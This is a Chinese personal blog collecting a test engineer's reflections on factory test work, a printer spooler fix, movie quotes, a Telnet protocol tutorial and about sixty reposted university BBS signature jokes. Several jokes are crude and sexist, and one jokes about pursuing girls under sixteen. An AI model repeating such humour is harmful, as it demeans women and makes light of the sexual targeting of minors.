2009年05月09日

                                                 TE工作职责

       TE工作差不多四年了,该是总结总结了。TETest Engineer的缩写,意思是测试工程师。大多在生产网卡、交换机、路由器等电脑周边产品的厂设有此职位,也有叫生产技术员的。TE的工作职责在网上也没有明确的定义,我所写的不过是我这几年做TE的感悟。

       TE首先要做好的就是教会测试员学会思考,学会学习。处处留心皆学问,测试员大都是1617岁的年龄,正是人生的大好时光,原本该是在学校里读书的,却由于其它的原因失去了学习的时间,TE要担起这个社会责任,把测试员看成是自己的兄弟姐妹,也许我们TE教不会测试员许多知识,但一定要让他们学会思考。思考自己的工作,思考自己的人生。

第二点,TE要做好传播知识的桥梁,做TE这份工作的,大部分都该是大专毕业,计算机专业的,对电脑、周边产品都比较熟悉,因此在平常工作中,如修站台,换线的时候要主动的给测试员讲解一下所测试的产品的功能,测试中公遇到什么问题,这些小问题该怎么解决。这有条件的工厂,还要把这些该传播的知识编成手册,给测试员做培训。现在大多数工厂都有做培训,大部分都是静电防护、5s等基本的知识的培训。这些培训对其它部门的生产有用,但是对测试员提高产能就没多大用。一个熟练的测试员的产能通常是新员工一倍多,以相对易测的机种PCI网卡来讲,熟练员工能测500多片,而一个新手最多测200多一点点,一个新员工要变成熟手,如果靠自己的摸索,最少需要三个月,如果靠培训的话,新手一个月就能达到熟手的生产水平,在许多厂,测试是一个瓶颈,我现在工作的厂,第一个工作的厂也是。现在这个厂没有,原来工作的厂本来没有,在我极力的推动下有了这种培训,后来这种培训变成了走过场,我很失望,就离开了,离职的前一天还做了一场培训。培训教材的编写是很辛苦的。我们没有办公电脑,就用产线的测试电脑,测试电脑有时候没有测试,常常是一章写一半,就要再去电脑,相机也去借的。经过培训,测试员很容易就达到了产能了,10个小时的工作量8个小时就满足了。我统计产能后很吃惊,报给主管,主管一直不相信,他以为我在骗他,过去是这样认为,不知道现在是不是这样认为。不管怎么样,我走在大街上常常会有不知道的人给我们打招呼。我只是依稀的记得他们曾经在我原来的厂里做过测试员。

第三点,TE要做好总结,把日常工作中需要注意的问题记录下来,以便预防,在原来的厂TE只有3个,要管的站 位有70个左右的站台,我们每天的交接本写的都很详细,包括站台坏了,怎么修的,什么原因引起的都写的很清楚。风开始的时候我们三个都很吃惊,后来就不忙了,因为我们做预防,写了交接本,在编写培训教材的时候就有了依据,有了侧重点,我现在这个厂是TE都做日报表,可没有总结,每天都是老样子,一点小问题,测试员都要去找TE,这样很不好。

第四点,TE要做好预防工作。TE的工作是重复的,新机种不是很多,虽然每次出现的故障不太一样,但引起的原因也大差不差,比如说,测P CI网卡的时候要用到PCI卡槽,PCI转接卡槽插的卡次数多了,里面的弹针就会变形。不良的卡槽会引起蓝屏、吞吐量不过、抓不到卡、黄卡、power值测不过等现象。不良卡槽拆下来后,用肉眼就可以明显的看得到,这样就要做好预防,测PCI卡的时候在站台上要备用一片卡槽,确认不良后就可及时更换。我原来的厂做的不错,现在的这个厂不行,卡槽用的时候找都找不到,别说备用的了。

第五点,TE要做程式改良。善水者非能水也而善舟楫也,,测试程序和工治具就是我们测试工作中的舟楫,测试员的工作很乏味,没什么趣味可言,同样的一组动作,一天不知道要做多少次,这就要做好防呆的工作,尽量减少工作中的失误。比如需要烧MAC的机种,MAC要用扫描仪扫到测试程序里,测PASS后,程式又能把扫进去的MAC清掉,这样就会大减少MAC地址错的现象,减轻后序工作的压力,群众的眼睛是雪亮的,只要多和测试员交流,我听听他们的意见,就会发现有许多地方可以改良,每天进步一点点,工作就会越来越来轻松。

第六点,TE要具备异常分析的能力,在大多数工厂里面,异常分析大多由专门的PE制程工程师,分析处理的。异常由产线提报,再到异常分析处理的。异常由产线提报,再到异常分析处理完毕差不多需要一天的时间。如果TE具备异常分析的能力,在异常产生的初级阶段就可以得到处理,这样就可以节约很多工时,提高工作效率,但遗憾的是大多数厂家的       TE都不具备异常分析的能力,我在原来的厂的时候注意到了这个问题,就专门去维修组学习了半年,学完了不但没有得到主管的赏识,还老是被主管挑毛病。我感到很悲哀,于是就离职了,虽然现在厂里的待遇要好一点,工作要轻松一点,但令人遗憾的是,TE根本就没有异常分析的权力,这究竟是谁的悲哀?

第七点,关于SOP的制作。大多数厂里的测试阶段的SOP的制作都有专人,所谓的专人大多是连测试都不会测试,看着作业员作业做作业指导书,这样做出来的指导书能用吗?随便在厂里找个测试员问一下,SOP是做什么的,大多会得到这样的回答:SOP在测试的时候要挂,否则IPQC不准作业。再进一步问:你测试的时候看SOP.?答:不看。也就是说,在大多数厂里面SOP的功能是应付品管的稽核。在我原来的厂里,我曾主导过SOP的改良,我们没有办公电脑就借站台上的用,做的SOP很详细,能够让普通的测试员看得懂。我走的时候,这项工作还在继续,不知道现在怎么样了。

暂时就想到了这么多,令我感到郁闷的是,在大多数主管的眼里,TE就是修电脑的,就是架站的,而这些只是TE应该具备的基本功。如果把TE看成一个西瓜,那么架站和修电脑是皮,而我所说的七点就是最好吃的西瓜肉。看看我们的装备吧,没有专门的办公电脑,有也是好多人一台,没有上网权限。说起上网,大多数主管怕我们上网,其实如果我们每人有台电脑,并且能上网的话,就会为了有更多的时间上网,而把工作做的更好。我希望有一天TE的主要工作不再是换线和修电脑,而是怎样提高产能,怎样提高工作效率,怎样有更多的自己的时间。我的愿望能实现吗?我感觉很难。或许有一天我成为一名主管了就会实现,我能成为主管吗,哪怕是一个小组长也好,我也会尽力推动。我能成为主管吗?天知道,我不知道。

2007年01月02日

http://www.17xunlei.com/read.php?tid=79573&u=521

是我搜集整理的
有时间了不妨看一下
太长了

2006年12月30日

 http://www.17xunlei.com/read.php?tid=79576&u=521

2006年11月26日

        公司的电脑系统是win2000,在上班的时候制造的科长告诉我打印机坏了一天了.他们的 打印机就在我办公桌后面的打印机上连着.我打开连着打印机的电脑,进入系统的时候电脑提示,spoolsv.exe错误..我记得以前也处理过同样的问题.spoolsv.exe是用于将Windows打印机任务发送给本地打印机.我开关了一下打印机,打印机可以正常启动.设备管理器里显示的通用串行总线控制器设备也正常,显示为usb printing support.,由此断定是软件问题所导致 .因此从其他正常使用打印机电脑上面copy spool文件夹、spmsg.dll、spoolsv.exe,这些文件都在  C:\WINDOWS\system32目录下,把这几个文件覆盖到坏掉的这台电脑的  C:\WINDOWS\system32目录下面,重新启动就ok。

2006年10月09日

主角回到另一个平行世界的1911年的中华,这个世界和原来的世界有些不同,他阴差阳错的参加了一个有些不同的辛亥革命.大时代的浪潮扑面而来,他是成为一个军阀呢?还是走上振兴中华的道路?本书是讲述另一个平行世界的故事,绝不涉及现实社会。

 

http://www.yyshuku.com/book.asp?id=119

2006年09月19日
[转]各大高校BBS上的签名档(經典啊)~~
高校BBS上的签名档(經典啊)""
1、小子,敢泡我马子!你说吧,是单挑还是群殴?群殴,我们一帮殴你一个;单挑,你挑我们一帮!

2、常函数和指数函数e的x次方走在街上,远远看到微分算子,常函数吓得慌忙躲藏,说:“被它微分一下,我就什么都没有啦!”

指数函数不慌不忙道:“它可不能把我怎么样,我是e的x次方!”

指数函数与微分算子相遇。

指数函数自我介绍道:“你好,我是e的x次方。”

微分算子道:“你好,我是‘d/dy!’”

3、夏天来了,天气热了,一群“BT”往北飞,一会儿排成“B”字,一会儿排成“T”字……

4、人生上半场22年,拒人3次,被拒2次,目前3:2领先……

5、最近你男朋友气色不错啊"/他呀,天天都去bbs灌水!

又用我的ID灌水呀,你的呢?/都让我老爸用了!

我跟我女朋友说你也到校友录上灌灌,哎,人家就认准bbs了!

bbs啊,不错!MM又多又PP,我们一直在那儿灌水!

学我们这专业的,没事,天天打游戏。有了这bbs,嗨!还真对得起咱这电脑!

bbs呀,明天灌!/bbs啊,天天灌!

6、成功的男人白天瞎JB忙,晚上JB瞎忙;失败的男人白天没啥鸟事,晚上鸟没啥事。所以,我要做成功的男人!

7、本人历年所获嘉奖总结:

1985年4月29日,获小红花一朵,由大班赵奶奶亲自颁发;

1998年6月1日,获进步最大奖一次,由刘老师发小本一个;

2000年某月某日,获班篮球队新人奖,由张天光同学口头表扬;

2001年12月18日,获北京电脑体育彩票一次,由帅小伙儿发奖金5元。

8、(安徽某大学BBS)和尚拈花望月,恐龙坐地成仙。

9、孔子东游,遇二小儿辩斗,问其故。

一小儿曰:我以日本生自山东,故属东。

一小儿曰:夕阳西下,日本归山西也明矣,是以属西。

孔子不能决,后以问老子(就是我)。

老子笑曰:孰为汝多知乎?日本无根基,岂能算东西 !!

10、防奸防盗防后勤……

11、

电脑是我大老婆 每天 我面对着大老婆 有天 三老婆挂了

网络是我二老婆 ——> 上二老婆 ——> 二老婆断了 ——>我完了

水木是我三老婆 访问三老婆 大老婆卖了

12、对单身妹妹,我始终争取;对有夫之妇,我从未放弃;对十六岁以上女孩,我注意发掘;对小于十六的,要有战略性眼光。

13、“我喜欢的女孩要像黛玉一样有才气,像宝钗一样懂事,像可卿一样漂亮,像湘云一样豪爽,像李纨一样忠贞,像探春一样能干,像凤姐一样精明,还要像元春一样有福气,呵呵……”

“但我不喜欢女孩像黛玉一样弱不禁风,宝钗一样自私自利,可卿一样风流薄命,湘云一样不通世务,迎春一样呆头呆脑,惜春一样心灰意冷,妙玉一样矫柔造作,哈哈……”

14、如果多吃鱼可以补脑让人变聪明的话,那么我至少得吃一对儿鲸鱼……:(

15、要想和我处,先得和我住!住完我就黄,我就这么狂!黄完我再处,我就这么酷!处完我再甩,我就这么拽!

16、西城上,诸葛亮一曲奏罢,余音绕梁,听得城外的十五万魏军如痴如醉。诸葛亮:“谢谢大家,每位请交门票费一两。”魏军大惊,片刻之间,十五万人逃得一个不剩……

17、我有一个最大的梦想:20**年的意甲联赛最后一轮,这是一场国际米兰获胜就能夺冠而尤文输球就要降级的比赛……比赛的最后一分钟,雷科巴接维耶里传球,在越位十米的位置上,先晃过三个后卫,接着再推倒尤文的守门员,最后用手打进致胜一球……在全场的欢呼声中,我牵着爱人的手,走向球场中央,在那里举行我们的婚礼。可爱的莫拉蒂主席是我们的证婚人,而圣西罗全场八万名国米球迷在暴雨中一起点燃蜡烛为我们祝福……

18、江湖风起云涌。善于使刀杀出一条血路的人,被称为刀客;手持长剑扬名立万的人,则被称为剑客;而在水木的时候,喜欢持瓢猛灌的人被称为……呵呵:)

19、在我归隐了七个账号之后,我终于明白——真正应该归隐的不是账号,而是我的心。

20、下雨了,别忘了打伞,湿身是小,淋病就麻烦啦~~~:)

21、佛曰,色即是空,空即是色。今晚,偶想空一下……:)

22、好男人是本博大精深的书,越看越着迷;好女人是汪清澈见底的泉,越品越有味。男人是辆车,不仅要会开,还要会修;女人是杯茶,不仅要会喝,还要会品。我是女人,你要不要来品品?

23、好怀念小时候:记得小学老师骂我:“我一巴掌把你踢出去!”当时我想笑却不敢笑。现在,是敢笑却不会笑了……

24、灌灌灌,BBS的法宝;分分分,水民的命根。

25、爱生活,爱拉登,自然美……

26、他们出版了一本中国最早的关于治疗阳痿的书——《金刚经》

他们出版了一本中国最早的关于生理的书 ——《溢精经》

他们建造了中国最早的精子库 —— 藏精阁

他们供奉500暴露狂——500裸汉

他们以一种变态的行为命名一尊菩萨——观阴

他们是:和尚

27、他徜徉校园,她擦肩而过。美丽的背影,他情不自禁,喊:“你真美呀,请停留一下!”她回首,他凝眸。结果两个人一起死掉了——她丑死了,他吓死了;他丑死了,她笑死了……

28、光看不“RE”,违反宪法!经常“RE文”是我国的一项基本国策!

29、我真想狠狠地往你脸上吐一泡狗屎!

30、为了得到女友的赏识,今天我要做卧撑!……呃呀呀呀呀……好累啊,今天先俯卧,明天再撑!

31、

大一:电脑 网络=高数重修 ╮╮

大二:拳皇 星际=4级不过 █/""我倒!

大三:FIFA CS=学位不保 ●

大四:一 二 三=失业

32、开始,我不过迷上了mm这个尤物;而结果呢,我却爱上了泡妞这门艺术。

33、学校派来的谈判专家气喘吁吁地爬上主楼的天台,我把手中的“Glock18” 使劲地往人质的太阳穴顶了顶,他吓得后退了两步,“请不要伤害人质,有什么要求,我们可以考虑!”“很简单,把西山桥头的破路修一修,校内的黑店管一管,食堂的卫生好好搞一搞,宿舍熄灯时间往后延一延,澡堂的水价往下压一压……”“好的好的,你等等,我回去请示一下。”谈判专家下楼去了。大约一支烟的功夫,他回到天台,远远地喊道:“你还是开枪吧,我们不会起诉你的……”

34、两女AB——A:听说你男朋友是浙大的?B:唉,我哪有这么好的福气……

两男CD——C:听说你女朋友是浙大的?D:放屁!你女朋友才是浙大的呢!

35、如果有来世,就让我们做一对小小的老鼠吧。笨笨的相爱,呆呆的过日子,拙拙的依偎,傻傻的一起。即便大雪封山,还可以窝在暖暖的草堆紧紧的抱着咬你耳朵……

36、大学生活有时像被太监强奸,反抗是痛苦,不反抗还是痛苦!

37、与时俱进,你我共赴高潮!

作者:chai2001 回复日期:2003-08-29 12:46:00

38、看一个学校的规模首先要看学校门口医院的避孕TAO的数量和种类……

39、十年以前,津津有味地看偶像剧,逢到中间插播的广告,连忙换台或者上厕所;十年以后,津津有味地看各种广告,逢到偶像剧,连忙换台或者上厕所!

40、作为一个科大的学生,我生是科大的人,死是科大的——死人!

41、我爱的人明花有主,爱我的惨不忍睹;不在寂寞中恋爱,就在寂寞中变态!

42、本人生性善良,平时就连踩死一只蚂蚁也会念经诵佛,超渡亡魂,并为其修坟造墓,更怕其死后单身寂寞,遂又踩死数十只蚂蚁为其做伴,可谓尽心尽力。希望性善者与我联系~~~(这年代真是啥人都有啊!)

43、毕业典礼后,一个清华学生上了出租车激动地说“你好,我已经是清华02届毕业生啦!” 司机说“真巧,我是66届的”,遂一指道边卖红薯的老头儿说,“他毕业的时候还没解放呢~”

44、医学专家忠告:水,是我们生命的源泉,请大家每天定时定量灌水。每天逛一逛,灌一灌,有益身心健康。早晨起来一桶水,饭前饭后一桶水,关键在于坚持,重点在于参与。

45、我想知道为什么我想知道为什么我想知道为什么我只想知道为什么我非要知道为什么我一定要知道为什么。(此签名档无法断句,因为每一种断法就有一种含义)

46、“灌”到海枯石烂! “re”到望眼欲穿!

47、没有钱的浪漫,我可以牵着你的手漫步在满布白沙的海滩;

1元的浪漫,我可以在冷清的公共电话亭旁拨通电话关心你;

10元的浪漫,我可以在炎热的夏日买支棒冰让你消暑解热;

100元的浪漫,我可以在寒冷的夜晚买份关东煮温暖你手心;

1000元的浪漫,我可以陪你逛街买你喜欢的衣服;

10000元的浪漫,我可以买手机给你,让我俩幸福的声音零距离。

48、前不见自卑亭,后不见堕落街,念时光之匆匆,独怆然而小弟弟下……

49、没上大学时奇怪为什么那么多人上了大学还要自杀,上了大学后奇怪为什么那么多人上了大学还要活着!

50、吾表兄,年四十余。始从文,连考三年而不中。遂习武,练武场上发一矢,中鼓吏,逐之出。改学医,自撰一良方,服之,卒。

51、一段刻骨铭心一见钟情师生忘年黄昏婚外同性恋!

52、做女人“挺”好,做男人“挺”累!

53、我来自云南元谋/你来自北京周口/我握住你长满绒毛的手/轻轻咬上一口/爱情/让我们直立行走

54、上帝给我大脑——于是我思考;上帝给我双脚——于是我奔跑;上帝给我十指——于是我上网。经过思考,我奔跑着来上网……

55、立志找女朋友“十三不要”:1-恐龙的不要;2-有过男朋友的不要;3-不是处女的不要;4-超过1.65的不要;5-不是重本的不要;6-是清华的不要;7-读了研的不要;8-1985年以后的不要;9-1981年以前的不要;10-有残疾的不要;11-爱打扮的不要;12-不温柔的不要;13-男人的不要!

56、朋友,失恋过吗?没有?那你人生不完整呀!:)

57、本人由于过于英俊,故有导演找我去演《巴黎圣母院》的男主角……

58、 夜班工人说:“吃饭与ML是第一生产力。”偶翻了一个月的资本论,发现马克思没有说过这句话……

59、诚征小 m m,陪我来灌水;吾灌水源头,君灌水源尾;上I D 挖坑,换M J 灌水;与版主理论,与战务拌嘴;上“十大”(排名)不慌,封全站不悔;快来小 M M,信件站内给。

60、人们只看到英雄是英雄的时候,却没有看到英雄灌水的时候……

原来挑战英文flash游戏也有美金拿的,Come on!
2006年08月31日

电影迷一定的看的

河东狮吼》:“从现在开始,你只许疼我一个人,要宠我,不能骗我,答应我的每一件事都要做到,对我讲得每一句话都要真心,不许欺负我,骂我,要相信我,别人欺负我,你要在第一时间出来帮我,我开心了,你就要陪着我开心,我不开心了,你就要哄我开心,永远都要觉得我是最漂亮的,梦里也要见到我,在你的心里面只有我,就是这样了。”

      《我的野蛮女友》:

      第一、不要叫她温柔。

      第二、不要让她喝三杯以上,否则她会逢人就打;

      第三、在咖啡馆一定要喝咖啡、不要喝可乐或橙汁;

      第四、如果她打你,一定要装得很痛,如果真的很痛,那要装得没事;

      第五、在你们认识的第一百天,一定要去她班上送一支玫瑰,她会非常喜欢;

      第六、你一定要学会击剑,打壁球;

      第七、要随时做好蹲监狱的思想准备;

      第八、如果她说她会杀了你,那不要当真,这样你会好受些;

      第九、如果她的鞋穿着不舒服,一定要和她换鞋穿;

      第十、她喜欢写东西,要好好地鼓励她。

      《大话西游》:你应该这么做,我也应该死。曾经有一份真诚的爱情放在我面前,我没有珍惜,等我失去的时候我才后悔莫及,人世间最痛苦的事莫过于此。你的剑在我的咽喉上割下去吧!不用再犹豫了!如果上天能够给我一个再来一次的机会,我会对那个女孩子说三个字:我爱你。如果非要在这份爱上加上一个期限,我希望是……一万年。

      《堕落天使》:当你年轻时,以为什么都有答案,可是老了的时候,你可能又觉得其实人生并没有所谓的答案。每天你都有机会和很多人擦身而过,有些人可能会变成你的朋友
      或者是知己所以我从来没有放弃任何跟人磨擦的机会。有时候搞得自己头破血流,管他呢! 开心就行了。

      《花样年华》:“如果,我多一张船票,你会不会跟我一起走?”

      《东邪西毒》:多年之后,我有个绰号叫西毒,任何人都可以变得狠毒,只要你尝试过什么叫做嫉妒。我不介意其他人怎么看我,我只不过不想别人比我更开心。我以为有一些人永远都不会嫉妒,因为他太骄傲。在我出道的时候,我认识了一个人,因为他喜欢在东边出没,所以很多年后,他有个绰号叫东邪。
      知不知道饮酒和饮水有什么区别?酒越饮越暖,水越喝越寒。 你越想忘记一个人时,其实你越会记得他。
      人的烦恼就是记性太好,如果可以把所有事都忘掉,以后每一日都是个新开始,你说多好。
      每个人都会经过这个阶段,见到一座山,就想知道山后面是什么。我很想告诉他,可能翻过山后面,你会发现没什么特别。回望之下,可能会觉得这一边更好。
      每个人都会坚持自己的信念,在别人看来,是浪费时间,她却觉得很重要。

      《向左走,向右走》:生命中充满了巧合,两条平行线也会有相交的一天。

      《红玫瑰与白玫瑰》:也许每一个男子全都有过这样的两个女人,至少两个。娶了红玫瑰,久而久之,红的变了墙上的一抹蚊子血,白的还是“床前明月光”;娶了白玫瑰,白的便是衣服上的一粒饭粘子,红的却是心口上的一颗朱砂痣。

      《东方不败》:有人就有恩怨,有恩怨就有江湖。人就是江湖,你怎么退出?

      《半生缘》:世均,我们再也回不去了……

2006年07月27日

TELNET的用法

日期:2004-3-13 13:46:44 作者:neeao [出处]

一 摘要

二 远程登录

三 Telnet协议

四 Win2000的Telnet服务

 五 在telnet中该做什么

一 摘要

        Telnet的应用不仅方便了我们进行远程登录,也给hacker们提供了又一种入侵手段和后门,但无论如何,在你尽情享受Telnet所带给你的便捷的同时,你是否真正的了解Telnet呢?

二 远程登录

         Telnet服务虽然也属于客户机/服务器模型的服务,但它更大的意义在于实现了基于Telnet协议的远程登录(远程交互式计算),那么就让我们来认识一下远程登录。

         1 远程登陆的基本概念 先来看看什么叫登录:分时系统允许多个用户同时使用一台计算机,为了保证系统的安全和记帐方便,系统要求每个用户有单独的帐号作为登录标识,系统还为每个用户指定了一个口令。用户在使用该系统之前要输入标识和口令,这个过程被称为\’登录\’。 远程登陆是指用户使用Telnet命令,使自己的计算机暂时成为远程主机的一个仿真终端的过程。仿真终端等效于一个非智能的机器,它只负责把用户输入的每个字符传递给主机,再将主机输出的每个信息回显在屏幕上。

        2 .远程登陆的产生及发展 我们可以先构想一个提供远程文字编辑的服务,这个服务的实现需要一个接受编辑文件请求和数据的服务器以及一个发送此请求的客户机。客户机将建立一个从本地机到服务器的TCP连接,当然这需要服务器的应答,然后向服务器发送键入的信息(文件编辑信息),并读取从服务器返回的输出。以上便是一个标准而普通的客户机/服务器模型的服务。

         似乎有了客户机/服务器模型的服务,一切远程问题都可以解决了。然而实际并非你想象的那样简单,如果我们仅需要远程编辑文件,那么刚才所构想的服务完全可以胜任,但假如我们的要求并不是这么简单,我们还想实现远程用户管理,远程数据录入,远程系统维护,想实现一切可以在远程主机上实现的操作,那么我们将需要大量专用的服务器程序并为每一个可计算服务都使用一个服务器进程,随之而来的问题是:远程机器会很快对服务器进程应接不暇,并淹没在进程的海洋里(我们在这里排除最专业化的远程机器)。 那么有没有办法解决呢?当然有,我们可以用远程登录来解决这一切。我们允许用户在远地机器上建立一个登录会话,然后通过执行命令来实现更一般的服务,就像在本地操作一样。这样,我们便可以访问远地系统上所有可用的命令,并且系统设计员不需提供多个专用地服务器程序。 问题发展到这里好像前途一片光明了,用远程登录总应该解决问题了吧,但要实现远程登陆并不简单。

         不考虑网络设计的计算机系统期望用户只从直接相连的键盘和显示器上登录,在这种机器上增加远程登陆功能需要修改机器的操作系统,这是极其艰巨也是我们尽量避免的。因此我们应该集中力量构造远程登陆服务器软件,虽然这样也是比较困难的。为什么说这样做也比较困难呢? 举个例子来说:一般,操作系统会为一些特殊按键分配特殊的含义,比如本地系统将\’Ctrl+C\’解释为:\’终止当前运行的命令进程\’。但假设我们已经运行了远程登陆服务器软件,\’Ctrl+C\’也有可能无法被传送到远地机器,如果客户机真的将\’Ctrl+C\’传到了远地机器,那么\’Ctrl+C\’这个命令有可能不能终止本地的进程,也就是说在这里很可能会产生混乱。而且这仅仅是遇到的难题之一。 但尽管有技术上的困难,系统编程人员还是设法构造了能够应用于大多数操作系统的远程登陆服务器软件,并构造了充当客户机的应用软件。通常,客户机软件取消了除一个键以外的所有键的本地解释,并将这些本地解释相应的转换成远地解释,这就使得客户机软件与远地机器的交互,就如同坐在远程主机面前一样,从而避免了上述所提到的混乱。而那个唯一例外的键,可以使用户回到本地环境。 将远程登陆服务器设计为应用级软件,还有另一个要求,那就是需要操作系统提供对伪终端(pseudo terminal)的支持。我们用伪终端描述操作系统的入口点,它允许像Telnet服务器一样的程序向操作系统传送字符,并且使得字符像是来自本地键盘一样。只有使用这样的操作系统,才能将远程登陆服务器设计为应用级软件(比如Telnet服务器软件),否则,本地操作系统和远地系统传送将不能识别从对方传送过来的信息(因为它们仅能识别从本地键盘所键入的信息),远程登陆将宣告失败。 将远程登陆服务器设计为应用级软件虽然有其显著的优点:比将代码嵌入操作系统更易修改和控制服务器。但其也有效率不高的缺点(后面的内容将会给予解释),好在用户键入信息的速率不高,这种设计还是可以接受的。

        3 远程登录的工作过程

       使用Telnet协议进行远程登陆时需要满足以下条件:在本的计算机上必须装有包含Telnet协议的客户程序;必须知道远程主机的Ip地址或域名;必须知道登录标识与口令。 Telnet远程登录服务分为以下4个过程:

       1)本地与远程主机建立连接。该过程实际上是建立一个TCP连接,用户必须知道远程主机的Ip地址或域名;

      2)将本地终端上输入的用户名和口令及以后输入的任何命令或字符以NVT(Net Virtual Terminal)格式传送到远程主机。该过程实际上是从本地主机向远程主机发送一个IP数据报;

      3)将远程主机输出的NVT格式的数据转化为本地所接受的格式送回本地终端,包括输入命令回显和命令执行结果; 4)最后,本地终端对远程主机进行撤消连接。该过程是撤销一个TCP连接。 上面的内容只是讨论了远程登陆最基本的东西,其中的复杂和编程人员的艰辛是我们难以想象的,不知道你在舒服的使用Telnet的同时,是否想到了这些!

 三 Telnet协议

        我们知道Telnet服务器软件是我们最常用的远程登录服务器软件,是一种典型的客户机/服务器模型的服务,它应用Telnet协议来工作。那么,什么是Telnet协议?它都具备哪些特点呢?

       1 基本内容 Telnet协议是TCP/IP协议族中的一员,是Internet远程登陆服务的标准协议。应用Telnet协议能够把本地用户所使用的计算机变成远程主机系统的一个终端。它提供了三种基本服务:

                1)Telnet定义一个网络虚拟终端为远的系统提供一个标准接口。客户机程序不必详细了解远的系统,他们只需构造使用标准接口的程序;

             2)Telnet包括一个允许客户机和服务器协商选项的机制,而且它还提供一组标准选项;

            3)Telnet对称处理连接的两端,即Telnet不强迫客户机从键盘输入,也不强迫客户机在屏幕上显示输出。

    2 适应异构

        为了使多个操作系统间的Telnet交互操作成为可能,就必须详细了解异构计算机和操作系统。比如,一些操作系统需要每行文本用ASCII回车控制符(CR)结束,另一些系统则需要使用ASCII换行符(LF),还有一些系统需要用两个字符的序列回车-换行(CR-LF);再比如,大多数操作系统为用户提供了一个中断程序运行的快捷键,但这个快捷键在各个系统中有可能不同(一些系统使用CTRL+C,而另一些系统使用ESCAPE)。如果不考虑系统间的异构性,那么在本地发出的字符或命令,传送到远地并被远地系统解释后很可能会不准确或者出现错误。因此,Telnet协议必须解决这个问题。

       为了适应异构环境,Telnet协议定义了数据和命令在Internet上的传输方式,此定义被称作网络虚拟终端NVT(Net Virtual Terminal)。它的应用过程如下:

        对于发送的数据:客户机软件把来自用户终端的按键和命令序列转换为NVT格式,并发送到服务器,服务器软件将收到的数据和命令,从NVT格式转换为远地系统需要的格式; 对于返回的数据:远地服务器将数据从远地机器的格式转换为NVT格式,而本地客户机将将接收到的NVT格式数据再转换为本地的格式。 对于NVT格式的详细定义,有兴趣的朋友可以去查找相关资料。

       3 传送远地命令

       我们知道绝大多数操作系统都提供各种快捷键来实现相应的控制命令,当用户在本地终端键入这些快捷键的时候,本地系统将执行相应的控制命令,而不把这些快捷键作为输入。那么对于Telnet来说,它是用什么来实现控制命令的远地传送呢?

        Telnet同样使用NVT来定义如何从客户机将控制功能传送到服务器。我们知道USASCII字符集包括95个可打印字符和33个控制码。当用户从本地键入普通字符时,NVT将按照其原始含义传送;当用户键入快捷键(组合键)时,NVT将把它转化为特殊的ASCII字符在网络上传送,并在其到达远地机器后转化为相应的控制命令。

        将正常ASCII字符集与控制命令区分主要有两个原因:

             1)这种区分意味着Telnet具有更大的灵活性:它可在客户机与服务器间传送所有可能的ASCII字符以及所有控制功能;

             2)这种区分使得客户机可以无二义性的指定信令,而不会产生控制功能与普通字符的混乱。

       4 数据流向

      上面我们提到过将Telnet设计为应用级软件有一个缺点,那就是:效率不高。这是为什么呢?下面给出Telnet中的数据流向: 数据信息被用户从本地键盘键入并通过操作系统传到客户机程序,客户机程序将其处理后返回操作系统,并由操作系统经过网络传送到远地机器,远地操作系统将所接收数据传给服务器程序,并经服务器程序再次处理后返回到操作系统上的伪终端入口点,最后,远地操作系统将数据传送到用户正在运行的应用程序,这便是一次完整的输入过程;输出将按照同一通路从服务器传送到客户机。 因为每一次的输入和输出,计算机将切换进程环境好几次,这个开销是很昂贵的。还好用户的键入速率并不算高,这个缺点我们仍然能够接受。

      5 强制命令

        我们应该考虑到这样一种情况:假设本地用户运行了远地机器的一个无休止循环的错误命令或程序,且此命令或程序已经停止读取输入,那么操作系统的缓冲区可能因此而被占满,如果这样,远地服务器也无法再将数据写入伪终端,并且最终导致停止从TCP连接读取数据,TCP连接的缓冲区最终也会被占满,从而导致阻止数据流流入此连接。如果以上事情真的发生了,那么本地用户将失去对远地机器的控制。 为了解决此问题,Telnet协议必须使用外带信令以便强制服务器读取一个控制命令。我们知道TCP用紧急数据机制实现外带数据信令,那么Telnet只要再附加一个被称为数据标记(date mark)的保留八位组,并通过让TCP发送已设置紧急数据比特的报文段通知服务器便可以了,携带紧急数据的报文段将绕过流量控制直接到达服务器。作为对紧急信令的相应,服务器将读取并抛弃所有数据,直到找到了一个数据标记。服务器在遇到了数据标记后将返回正常的处理过程。

        6 选项协商

       由于Telnet两端的机器和操作系统的异构性,使得Telnet不可能也不应该严格规定每一个telnet连接的详细配置,否则将大大影响Telnet的适应异构性。因此,Telnet采用选项协商机制来解决这一问题。 Telnet选项的范围很广:一些选项扩充了大方向的功能,而一些选项制涉及一些微小细节。例如:有一个选项可以控制Telnet是在半双工还是全双工模式下工作(大方向);还有一个选项允许远地机器上的服务器决定用户终端类型(小细节)。 Telnet选项的协商方式也很有意思,它对于每个选项的处理都是对称的,即任何一端都可以发出协商申请;任何一端都可以接受或拒绝这个申请。另外,如果一端试图协商另一端不了解的选项,接受请求的一端可简单的拒绝协商。因此,有可能将更新,更复杂的Telnet客户机服务器版本与较老的,不太复杂的版本进行交互操作。如果客户机和服务器都理解新的选项,可能会对交互有所改善。否则,它们将一起转到效率较低但可工作的方式下运行。所有的这些设计,都是为了增强适应异构性,可见Telnet的适应异构性对其的应用和发展是多么重要。 上面讨论了一些原理方面的东西,虽然我们在Telnet的使用过程中很难接触到这一层面,但我认为了解这些是有意义的,它会给我们带来许多启示。下面让我们来看看Win2000的Telnet服务。 (本系列教程不定期更新,欲获得最新版本,请登陆官方网站:菜菜鸟社区 http://ccbirds.yeah.net

四 Win2000的Telnet服务

其实从应用层面上,Win2000的Telnet服务并没有什么可说的,绝大部分内容你都可以从HELP文件中得到,我在此只是把它稍微整理一下而已。 

1 基本配置

       Win2000为我们提供了Telnet客户机和服务器程序:Telnet.exe是客户机程序(Client),tlntsvr.exe是服务器程序(server),同时它还为我们提供了Telnet服务器管理程序tlntadmn.exe。 Windows 2000 默认安装了 Telnet 服务,但是并没有默认启动。

